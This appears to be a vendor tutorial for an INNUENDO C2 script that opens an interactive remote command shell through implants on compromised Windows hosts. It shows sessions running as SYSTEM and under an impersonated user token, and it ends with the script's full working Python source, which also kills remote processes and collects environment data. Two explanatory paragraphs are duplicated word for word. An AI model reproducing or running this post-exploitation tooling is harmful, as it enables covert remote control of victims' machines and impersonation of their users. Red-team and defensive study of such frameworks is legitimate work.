Essentially, what this script does is:
Accepts a command from the user on the terminal.
Queues a filemanager/execute operation in the INNUENDO C2, using the RPC API.
Waits for the operation to complete, and dumps the output to the terminal.
Since the script depends on the execute operation, it is able to take full advantage of capabilities such as user impersonation, allowing you to run the shell as any user on the target system.
Remember as well that thanks to the design of INNUENDO's channels, this shell is resilient to any sort of communication failure. If the web channel were to go down just after entering a command, you would still get the command's output as soon as the implant is able to sync again (maybe over the DNS channel).
Also note that the response time of the command will depend on the active channel of the target implant, and the configured sync_frequency for that channel. So while a command shell is an interesting experiment for how the RPC API can be used, it won't be practical except where sync frequencies are very low (or patience is very high).
Remember as well that thanks to the design of INNUENDO's channels, this shell is resilient to any sort of communication failure. If the web channel were to go down just after entering a command, you would still get the command's output as soon as the implant is able to sync again (maybe over the DNS channel).
Also note that the response time of the command will depend on the active channel of the target implant, and the configured sync_frequency for that channel. So while a command shell is an interesting experiment for how the RPC API can be used, it won't be practical except where sync frequencies are very low (or patience is very high).
Here is a video demonstrating the functionality of this script:
Shell
The script accepts a few command-line arguments.
usage: shell.py [-h] [-c COMMAND] [--no-cache] [--token-user TOKEN_USER]
[--token-luid TOKEN_LUID] [-p PROMPT] [-u URL]
process_implant_id
Command-line interface to an INNUENDO implant target shell.
NOTE: The "process_implant_id" argument refers to the hash ID listed for an
implant in the process_list. Not to be confused with the PID.
$ ./rpc.py process_list
Machine: <machine_id>
Node: <node_id>
<process_implant_id> | synced | ...
positional arguments:
process_implant_id the ID of the implant process to target
optional arguments:
-h, --help show this help message and exit
-c COMMAND, --command COMMAND
execute a command then exit
--no-cache do not use cached data for initialization
--token-user TOKEN_USER
attempt impersonation of a "[domain\]user"
--token-luid TOKEN_LUID
sets a token LUID for impersonation
-p PROMPT, --prompt PROMPT
a windows prompt format string
-u URL, --url URL rpc server url
The only thing that is required to use the shell script is a target implant, which we can easily get using the RPC command-line script's process_list command.
$ ./rpc.py process_list
Machine: 96e41afa2cfbe7b26d3b5c397abb2b8f5198bdb3
Node: c8aaddbc059b40f4a3f7d61945cb2684
b850bef0abe4417debc273c640be7e58 | synced | 2016-12-14 13:31:47 | boot64.exe (1572)
Node: nt authority\system
de1014f777018dffd21678d2e7a3f5c0 | synced | 2016-12-14 13:31:50 | netclassmon.exe (1864)
Note that the process_implant_id is not just the PID. It's the hash before the sync status. Once we have one, we can pass it to the shell script.
$ python -m examples.rpc.shell de1014f777018dffd21678d2e7a3f5c0
initializing ...
Microsoft Windows [Version 6.1.7601]
C:\Windows\system32> whoami
nt authority\system
C:\Windows\system32> exit
We can even use impersonation to run our shell as a different user.
$ python -m examples.rpc.shell de1014f777018dffd21678d2e7a3f5c0 --token-user immunity
initializing ...
Microsoft Windows [Version 6.1.7601]
C:\Windows\system32> whoami
bunny\immunity
Notice how the shell behaves as you would expect it to when running as the "immunity" user.
C:\Windows\system32> cd c:\users\administrator
Access is denied.
C:\Windows\system32> cd c:\users\immunity
c:\Users\immunity> dir
Volume in drive C has no label.
Volume Serial Number is 883B-C53C
Directory of c:\Users\immunity
12/19/2013 05:11 PM <DIR> .
12/19/2013 05:11 PM <DIR> ..
12/19/2013 05:11 PM <DIR> Contacts
07/13/2016 10:46 AM <DIR> Desktop
12/19/2013 05:11 PM <DIR> Documents
12/20/2013 12:14 PM <DIR> Downloads
12/19/2013 05:11 PM <DIR> Favorites
12/19/2013 05:11 PM <DIR> Links
12/19/2013 05:11 PM <DIR> Music
12/19/2013 05:11 PM <DIR> Pictures
12/19/2013 05:11 PM <DIR> Saved Games
12/19/2013 05:11 PM <DIR> Searches
12/19/2013 05:11 PM <DIR> Videos
0 File(s) 0 bytes
13 Dir(s) 54,171,832,320 bytes free
c:\Users\immunity>
Source
To start, we import the modules that we need and set some global variables. We import the readline module when it's available to give us command history for free.
try:
import readline
except ImportError:
pass
We also set some tag names which this script will use to locate specific operation results.
PROMPT = '$p$g$s'
TAG_ENV = 'shell:environment'
TAG_META = 'shell:metadata'
Next, we have our main class. client is the INNUENDO RPC client. proc_id is the ID of the target implant. The other variables track the current state of the shell.
def repl(self):
"""The Read-Eval-Print Loop."""
while True:
prompt = self.parse_prompt()
oper_id = None
try:
line = raw_input(prompt).strip()
oper_id = self.execute(line, wait=wait)
The setup method queues some operations to pull environment variables and other metadata from the target. First, though, it checks to see if operations that have the required information have already been executed by searching for specific tags.
Checking for an existing operation:
search = ' '.join([TAG_ENV, token_tag, self.proc_id])
res = c.operation_list(search=search, limit=1)
if res['records']:
oper = res['records'][0]
self.check_error(oper)
self.env = c.operation_attributes(oper['id'])['env']
Executing and tagging an operation, if there is no existing operation:
oper_id = c.operation_execute('recon', 'environment', self.proc_id)[0]
self.check_error(c.operation_wait(oper_id)[0])
self.env = c.operation_attributes(oper_id)['env']
c.operation_tag_add(TAG_ENV, oper_id)
c.operation_tag_add(token_tag, oper_id)
The execute method simply wraps the entered command so that it is executed in correct directory.
command = 'cd /D %s && %s' % (self.cwd, command)
It also tags the operation with the command name to make it easy to find the results for certain commands, and to provide context when looking at a list of execute operations.
tag = ':'.join(['cmd', command.split(None, 1)[0]])
res = c.operation_execute('filemanager', 'execute', self.proc_id, args=args)
c.operation_tag_add(tag, res[0])
The remaining methods are helpers.
wait waits for an operation to complete. It also contains the logic for handling "CTRL+C", and terminating any processes that were started by a command.
output collects the stdout and stderr from a command and formats them for output to the terminal.
check_error checks the result of the operation and exits the script if there was an unexpected failure.
kill wraps a call to the manager/terminate operation.
chdir checks if the requested directory exists on the target and stores the path locally. The "current directory" is attached to every command so that it is executed in the correct context.
parse_prompt parses the PROMPT environment variable and does it's best to fill in the appropriate values. You get the same prompt the target system's user has set!
Finally, we have the code that set's up the command-line arguments, connects to INNUENDO with the RPC client, and starts the REPL.
Here is the full source:
#! /usr/bin/env python
"""
Command-line interface to an INNUENDO implant target shell.
"""
import re
import sys
import ntpath
try:
import readline
except ImportError:
pass
import rpc
PROMPT = '$p$g$s'
TAG_ENV = 'shell:environment'
TAG_META = 'shell:metadata'
rx_prompt = re.compile(r'[$](.)')
class Shell(object):
def __init__(self, client, proc_id, token_user=None, token_luid=None, prompt=None):
self.client = client
self.proc_id = proc_id
self.env = None
self.ver = None
self.cwd = None
self.token_user = token_user
self.token_luid = token_luid
self.prompt = prompt
def repl(self):
"""The Read-Eval-Print Loop."""
c = self.client
print self.ver
print
while True:
prompt = self.parse_prompt()
oper_id = None
try:
line = raw_input(prompt).strip()
if not line:
continue
if line.lower() == 'exit':
break
if line.lower().startswith('cd'):
try:
path = line.split(' ', 1)[1].strip()
except IndexError:
pass
else:
self.chdir(path)
continue
wait = line[-1] != '&'
oper_id = self.execute(line, wait=wait)
if wait:
self.wait(oper_id)
print self.output(oper_id)
except EOFError:
break
except KeyboardInterrupt:
print
continue
def setup(self, cached=True):
"""Collect metadata used to format the shell.
Uses existing operations when *cached* is `True`.
"""
c = self.client
# if the luid is set, it takes precedence
token_tag = ':'.join(['token', self.token_luid or self.token_user or 'none'])
if cached:
# check past ops
search = ' '.join([TAG_META, token_tag, self.proc_id])
res = c.operation_list(search=search, limit=1)
if res['records']:
oper = res['records'][0]
self.check_error(oper)
self.ver, self.cwd = self.output(oper['id']).strip().splitlines()
search = ' '.join([TAG_ENV, token_tag, self.proc_id])
res = c.operation_list(search=search, limit=1)
if res['records']:
oper = res['records'][0]
self.check_error(oper)
self.env = c.operation_attributes(oper['id'])['env']
if not self.cwd:
oper_id = self.execute('ver && cd')
self.check_error(self.wait(oper_id))
self.ver, self.cwd = self.output(oper_id).strip().splitlines()
c.operation_tag_add(TAG_META, oper_id)
c.operation_tag_add(token_tag, oper_id)
if not self.env:
oper_id = c.operation_execute('recon', 'environment', self.proc_id)[0]
self.check_error(c.operation_wait(oper_id)[0])
self.env = c.operation_attributes(oper_id)['env']
c.operation_tag_add(TAG_ENV, oper_id)
c.operation_tag_add(token_tag, oper_id)
def execute(self, command, wait=True):
"""Executes a command on the targets and returns the operation ID."""
c = self.client
tag = ':'.join(['cmd', command.split(None, 1)[0]])
if self.cwd:
command = 'cd /D %s && %s' % (self.cwd, command)
args = {
'path': command,
'shell': True,
'output_capture': True,
}
if not wait:
args['output_capture'] = False
args['wait'] = False
if self.token_user:
args['token_domain_user'] = self.token_user
if self.token_luid:
args['token_luid'] = self.token_luid
res = c.operation_execute('filemanager', 'execute', self.proc_id, args=args)
c.operation_tag_add(tag, res[0])
return res[0]
def wait(self, oper_id):
"""Waits for *oper_id* to complete and returns the operation.
If a `KeyboardInterrupt` is caught while waiting for the operation,
the operation will be cancelled, and any processes it started will be
killed.
"""
c = self.client
try:
return c.operation_wait(oper_id)[0]
except KeyboardInterrupt:
res = c.operation_attributes(oper_id)
if res['process_id']:
print 'killing tree: %(process_id)s' % res
self.kill(res['process_id'])
c.operation_cancel(oper_id)
print
raise
def output(self, oper_id):
"""Returns a string containing the stdout and stderr of *oper_id*."""
c = self.client
out = []
attrs = c.operation_attributes(oper_id)
stdout = attrs['stdout']
stderr = attrs['stderr']
if stdout:
out.append(stdout.rstrip())
if stderr:
out.append(stderr.rstrip())
return '\n'.join(out)
def check_error(self, oper):
"""Exits the program if *oper* contains an error."""
if not oper['success']:
sys.exit('\n'.join([oper['error'], oper['exception']]))
def kill(self, pid, recurse=True):
"""Kills the process with *pid* on the target."""
c = self.client
return c.operation_execute('manager', 'terminate', self.proc_id, args={
'process_id': pid, 'recurse': recurse,
})
def chdir(self, path):
"""Changes the current working directory.
The target is first checked to verify that *path* is valid.
"""
c = self.client
oper_id = self.execute('cd /D %s && cd' % path)
attrs = c.operation_attributes(oper_id)
output = self.output(oper_id)
# set the new cwd if the command succeeded
if attrs['return_code'] == 0:
self.cwd = output
else:
print output
def parse_prompt(self):
"""Returns a Windows prompt with codes subtituted with their respective
values.
Not supported: $+, $M
"""
prompt = self.env.get('PROMPT', PROMPT) if self.prompt is None else self.prompt
result = []
for match in rx_prompt.finditer(prompt):
code = match.group(1).lower()
result.append({
'a': '&',
'b': '|',
'c': '(',
'd': '<current date>', # TODO
'e': '\x27',
'f': ')',
'g': '>',
'h': '\b',
'l': '<',
'n': ntpath.splitdrive(self.cwd)[0],
'p': self.cwd,
'q': '=',
's': ' ',
't': '<current time>', # TODO
'v': self.ver,
'_': '\n',
'$': '$',
}.get(code, ''))
return ''.join(result)
def main():
import argparse
parser = argparse.ArgumentParser(description=__doc__)
parser.add_argument('process_implant_id')
parser.add_argument('-c', '--command', help='execute a command then exit')
parser.add_argument('--no-cache', action='store_false', dest='cached',
help='do not use cached data for initialization')
parser.add_argument('--token-user', help='attempt impersonation of a "[domain\]user"')
parser.add_argument('--token-luid', help='sets a token LUID for impersonation')
parser.add_argument('-p', '--prompt', help='a windows prompt format string')
parser.add_argument('-u', '--url', help='rpc server url')
args = parser.parse_args()
proc_id = args.process_implant_id
c = rpc.Client(args.url)
try:
c.process_get(proc_id)
except rpc.RemoteError:
sys.exit('invalid target process')
if args.command:
shell = Shell(c, proc_id, args.token_user, args.token_luid)
oper_id = shell.execute(args.command)
shell.check_error(shell.wait(oper_id))
print shell.output(oper_id)
return
print 'initializing ...'
shell = Shell(c, proc_id, args.token_user, args.token_luid, args.prompt)
shell.setup(cached=args.cached)
# Enter REPL
shell.repl()
if __name__ == '__main__':
try:
main()
except KeyboardInterrupt:
pass
